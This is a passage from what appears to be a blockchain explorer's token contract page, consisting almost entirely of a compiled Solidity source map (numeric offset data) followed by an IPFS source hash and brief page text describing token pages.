5;;16683:25:1;;;-1:-1:-1;;;;;14419:15:0;;;;14402:45;;;-1:-1:-1;;;;;;;;;;;14402:45:0;16671:2:1;16656:18;14402:45:0;;;;;;;14364:99;14482:21;:6;14493:9;14482:10;:21::i;:::-;14475:28;13607:904;-1:-1:-1;;;;;;;;;13607:904:0:o;1058:189::-;1144:7;1179:12;1172:5;1164:28;;;;-1:-1:-1;;;1164:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1203:9:0;1215:5;1219:1;1215;:5;:::i;14:367:1:-;77:8;87:6;141:3;134:4;126:6;122:17;118:27;108:55;;159:1;156;149:12;108:55;-1:-1:-1;182:20:1;;225:18;214:30;;211:50;;;257:1;254;247:12;211:50;294:4;286:6;282:17;270:29;;354:3;347:4;337:6;334:1;330:14;322:6;318:27;314:38;311:47;308:67;;;371:1;368;361:12;308:67;14:367;;;;;:::o;386:247::-;445:6;498:2;486:9;477:7;473:23;469:32;466:52;;;514:1;511;504:12;466:52;553:9;540:23;572:31;597:5;572:31;:::i;898:388::-;966:6;974;1027:2;1015:9;1006:7;1002:23;998:32;995:52;;;1043:1;1040;1033:12;995:52;1082:9;1069:23;1101:31;1126:5;1101:31;:::i;:::-;1151:5;-1:-1:-1;1208:2:1;1193:18;;1180:32;1221:33;1180:32;1221:33;:::i;:::-;1273:7;1263:17;;;898:388;;;;;:::o;1291:813::-;1386:6;1394;1402;1410;1418;1471:3;1459:9;1450:7;1446:23;1442:33;1439:53;;;1488:1;1485;1478:12;1439:53;1527:9;1514:23;1546:31;1571:5;1546:31;:::i;:::-;1596:5;-1:-1:-1;1653:2:1;1638:18;;1625:32;1666:33;1625:32;1666:33;:::i;:::-;1718:7;-1:-1:-1;1777:2:1;1762:18;;1749:32;1790:33;1749:32;1790:33;:::i;:::-;1842:7;-1:-1:-1;1901:2:1;1886:18;;1873:32;1914:33;1873:32;1914:33;:::i;:::-;1966:7;-1:-1:-1;2025:3:1;2010:19;;1997:33;2039;1997;2039;:::i;:::-;2091:7;2081:17;;;1291:813;;;;;;;;:::o;2109:456::-;2186:6;2194;2202;2255:2;2243:9;2234:7;2230:23;2226:32;2223:52;;;2271:1;2268;2261:12;2223:52;2310:9;2297:23;2329:31;2354:5;2329:31;:::i;:::-;2379:5;-1:-1:-1;2436:2:1;2421:18;;2408:32;2449:33;2408:32;2449:33;:::i;:::-;2109:456;;2501:7;;-1:-1:-1;;;2555:2:1;2540:18;;;;2527:32;;2109:456::o;2570:908::-;2701:6;2709;2717;2725;2733;2786:2;2774:9;2765:7;2761:23;2757:32;2754:52;;;2802:1;2799;2792:12;2754:52;2841:9;2828:23;2860:31;2885:5;2860:31;:::i;:::-;2910:5;-1:-1:-1;2966:2:1;2951:18;;2938:32;2989:18;3019:14;;;3016:34;;;3046:1;3043;3036:12;3016:34;3085:70;3147:7;3138:6;3127:9;3123:22;3085:70;:::i;:::-;3174:8;;-1:-1:-1;3059:96:1;-1:-1:-1;3262:2:1;3247:18;;3234:32;;-1:-1:-1;3278:16:1;;;3275:36;;;3307:1;3304;3297:12;3275:36;;3346:72;3410:7;3399:8;3388:9;3384:24;3346:72;:::i;:::-;2570:908;;;;-1:-1:-1;2570:908:1;;-1:-1:-1;3437:8:1;;3320:98;2570:908;-1:-1:-1;;;2570:908:1:o;3483:382::-;3548:6;3556;3609:2;3597:9;3588:7;3584:23;3580:32;3577:52;;;3625:1;3622;3615:12;3577:52;3664:9;3651:23;3683:31;3708:5;3683:31;:::i;:::-;3733:5;-1:-1:-1;3790:2:1;3775:18;;3762:32;3803:30;3762:32;3803:30;:::i;3870:315::-;3938:6;3946;3999:2;3987:9;3978:7;3974:23;3970:32;3967:52;;;4015:1;4012;4005:12;3967:52;4054:9;4041:23;4073:31;4098:5;4073:31;:::i;:::-;4123:5;4175:2;4160:18;;;;4147:32;;-1:-1:-1;;;3870:315:1:o;4190:566::-;4282:6;4290;4298;4351:2;4339:9;4330:7;4326:23;4322:32;4319:52;;;4367:1;4364;4357:12;4319:52;4407:9;4394:23;4440:18;4432:6;4429:30;4426:50;;;4472:1;4469;4462:12;4426:50;4511:70;4573:7;4564:6;4553:9;4549:22;4511:70;:::i;:::-;4600:8;;-1:-1:-1;4485:96:1;-1:-1:-1;;4685:2:1;4670:18;;4657:32;4698:28;4657:32;4698:28;:::i;:::-;4745:5;4735:15;;;4190:566;;;;;:::o;4761:241::-;4817:6;4870:2;4858:9;4849:7;4845:23;4841:32;4838:52;;;4886:1;4883;4876:12;4838:52;4925:9;4912:23;4944:28;4966:5;4944:28;:::i;5007:245::-;5074:6;5127:2;5115:9;5106:7;5102:23;5098:32;5095:52;;;5143:1;5140;5133:12;5095:52;5175:9;5169:16;5194:28;5216:5;5194:28;:::i;5257:309::-;5322:6;5330;5383:2;5371:9;5362:7;5358:23;5354:32;5351:52;;;5399:1;5396;5389:12;5351:52;5438:9;5425:23;5457:28;5479:5;5457:28;:::i;5571:180::-;5630:6;5683:2;5671:9;5662:7;5658:23;5654:32;5651:52;;;5699:1;5696;5689:12;5651:52;-1:-1:-1;5722:23:1;;5571:180;-1:-1:-1;5571:180:1:o;5756:184::-;5826:6;5879:2;5867:9;5858:7;5854:23;5850:32;5847:52;;;5895:1;5892;5885:12;5847:52;-1:-1:-1;5918:16:1;;5756:184;-1:-1:-1;5756:184:1:o;5945:377::-;6019:6;6027;6035;6088:2;6076:9;6067:7;6063:23;6059:32;6056:52;;;6104:1;6101;6094:12;6056:52;6140:9;6127:23;6117:33;;6200:2;6189:9;6185:18;6172:32;6213:28;6235:5;6213:28;:::i;6327:248::-;6395:6;6403;6456:2;6444:9;6435:7;6431:23;6427:32;6424:52;;;6472:1;6469;6462:12;6424:52;-1:-1:-1;;6495:23:1;;;6565:2;6550:18;;;6537:32;;-1:-1:-1;6327:248:1:o;6580:377::-;6654:6;6662;6670;6723:2;6711:9;6702:7;6698:23;6694:32;6691:52;;;6739:1;6736;6729:12;6691:52;6775:9;6762:23;6752:33;;6832:2;6821:9;6817:18;6804:32;6794:42;;6886:2;6875:9;6871:18;6858:32;6899:28;6921:5;6899:28;:::i;6962:306::-;7050:6;7058;7066;7119:2;7107:9;7098:7;7094:23;7090:32;7087:52;;;7135:1;7132;7125:12;7087:52;7164:9;7158:16;7148:26;;7214:2;7203:9;7199:18;7193:25;7183:35;;7258:2;7247:9;7243:18;7237:25;7227:35;;6962:306;;;;;:::o;7273:523::-;7377:6;7385;7393;7401;7409;7417;7470:3;7458:9;7449:7;7445:23;7441:33;7438:53;;;7487:1;7484;7477:12;7438:53;-1:-1:-1;;7510:23:1;;;7580:2;7565:18;;7552:32;;-1:-1:-1;7631:2:1;7616:18;;7603:32;;7682:2;7667:18;;7654:32;;-1:-1:-1;7733:3:1;7718:19;;7705:33;;-1:-1:-1;7785:3:1;7770:19;7757:33;;-1:-1:-1;7273:523:1;-1:-1:-1;7273:523:1:o;9971:597::-;10083:4;10112:2;10141;10130:9;10123:21;10173:6;10167:13;10216:6;10211:2;10200:9;10196:18;10189:34;10241:1;10251:140;10265:6;10262:1;10259:13;10251:140;;;10360:14;;;10356:23;;10350:30;10326:17;;;10345:2;10322:26;10315:66;10280:10;;10251:140;;;10409:6;10406:1;10403:13;10400:91;;;10479:1;10474:2;10465:6;10454:9;10450:22;10446:31;10439:42;10400:91;-1:-1:-1;10552:2:1;10531:15;-1:-1:-1;;10527:29:1;10512:45;;;;10559:2;10508:54;;9971:597;-1:-1:-1;;;9971:597:1:o;15863:329::-;16065:2;16047:21;;;16104:1;16084:18;;;16077:29;-1:-1:-1;;;16137:2:1;16122:18;;16115:36;16183:2;16168:18;;15863:329::o;16197:335::-;16399:2;16381:21;;;16438:2;16418:18;;;16411:30;-1:-1:-1;;;16472:2:1;16457:18;;16450:41;16523:2;16508:18;;16197:335::o;16719:980::-;16981:4;17029:3;17018:9;17014:19;17060:6;17049:9;17042:25;17086:2;17124:6;17119:2;17108:9;17104:18;17097:34;17167:3;17162:2;17151:9;17147:18;17140:31;17191:6;17226;17220:13;17257:6;17249;17242:22;17295:3;17284:9;17280:19;17273:26;;17334:2;17326:6;17322:15;17308:29;;17355:1;17365:195;17379:6;17376:1;17373:13;17365:195;;;17444:13;;-1:-1:-1;;;;;17440:39:1;17428:52;;17535:15;;;;17500:12;;;;17476:1;17394:9;17365:195;;;-1:-1:-1;;;;;;;17616:32:1;;;;17611:2;17596:18;;17589:60;-1:-1:-1;;;17680:3:1;17665:19;17658:35;17577:3;16719:980;-1:-1:-1;;;16719:980:1:o;18146:128::-;18186:3;18217:1;18213:6;18210:1;18207:13;18204:39;;;18223:18;;:::i;:::-;-1:-1:-1;18259:9:1;;18146:128::o;18279:217::-;18319:1;18345;18335:132;;18389:10;18384:3;18380:20;18377:1;18370:31;18424:4;18421:1;18414:15;18452:4;18449:1;18442:15;18335:132;-1:-1:-1;18481:9:1;;18279:217::o;18501:168::-;18541:7;18607:1;18603;18599:6;18595:14;18592:1;18589:21;18584:1;18577:9;18570:17;18566:45;18563:71;;;18614:18;;:::i;:::-;-1:-1:-1;18654:9:1;;18501:168::o;18674:125::-;18714:4;18742:1;18739;18736:8;18733:34;;;18747:18;;:::i;:::-;-1:-1:-1;18784:9:1;;18674:125::o;18804:135::-;18843:3;-1:-1:-1;;18864:17:1;;18861:43;;;18884:18;;:::i;:::-;-1:-1:-1;18931:1:1;18920:13;;18804:135::o;18944:127::-;19005:10;19000:3;18996:20;18993:1;18986:31;19036:4;19033:1;19026:15;19060:4;19057:1;19050:15;19076:127;19137:10;19132:3;19128:20;19125:1;19118:31;19168:4;19165:1;19158:15;19192:4;19189:1;19182:15;19340:131;-1:-1:-1;;;;;19415:31:1;;19405:42;;19395:70;;19461:1;19458;19451:12;19476:118;19562:5;19555:13;19548:21;19541:5;19538:32;19528:60;;19584:1;19581;19574:12

Swarm Source

ipfs://0f5cc052c41526fe2a6697ce697d2505cbacaa67106870ce48db652fea017a1f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.